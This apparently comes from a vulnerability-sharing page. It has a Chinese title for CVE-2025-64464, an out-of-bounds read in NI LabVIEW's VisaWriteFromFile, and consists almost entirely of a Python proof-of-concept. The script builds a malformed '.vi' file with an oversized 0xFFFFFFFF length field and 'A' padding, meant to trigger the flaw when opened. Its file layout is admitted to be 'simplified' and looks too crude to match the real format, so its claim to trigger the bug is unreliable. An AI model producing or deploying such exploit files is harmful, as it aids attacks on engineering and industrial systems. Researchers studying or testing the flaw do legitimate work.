CVE-2025-64464 NI LabVIEW越界读取漏洞

import struct import os def create_malicious_vi(): """ PoC for CVE-2025-64464: Out of Bounds Read in NI LabVIEW lvre!VisaWriteFromFile() This PoC creates a malformed VI file that triggers the vulnerability. """ # VI file header (simplified structure) header = b'VI' # VI file magic number header += struct.pack('<I', 0x00000001) # Version header += struct.pack('<I', 0x00000000) # Flags # Trigger condition: Malformed VisaWriteFromFile data block # The block contains an oversized length field that causes OOB read block_type = b'VISA' # VISA block identifier # Malicious length value - causes reading beyond buffer boundary malicious_length = 0xFFFFFFFF # Extremely large value block_data = struct.pack('<I', malicious_length) # Padding data to trigger the vulnerability padding = b'A' * 1000 # Excessive padding # Construct the malicious VI file vi_content = header + block_type + block_data + padding # Write the malicious VI file output_file = 'CVE-2025-64464_poc.vi' with open(output_file, 'wb') as f: f.write(vi_content) print(f'[*] Malicious VI file created: {output_file}') print(f'[*] File size: {len(vi_content)} bytes') print(f'[*] Trigger condition: Length field = {hex(malicious_length)}') return output_file if __name__ == '__main__': create_malicious_vi()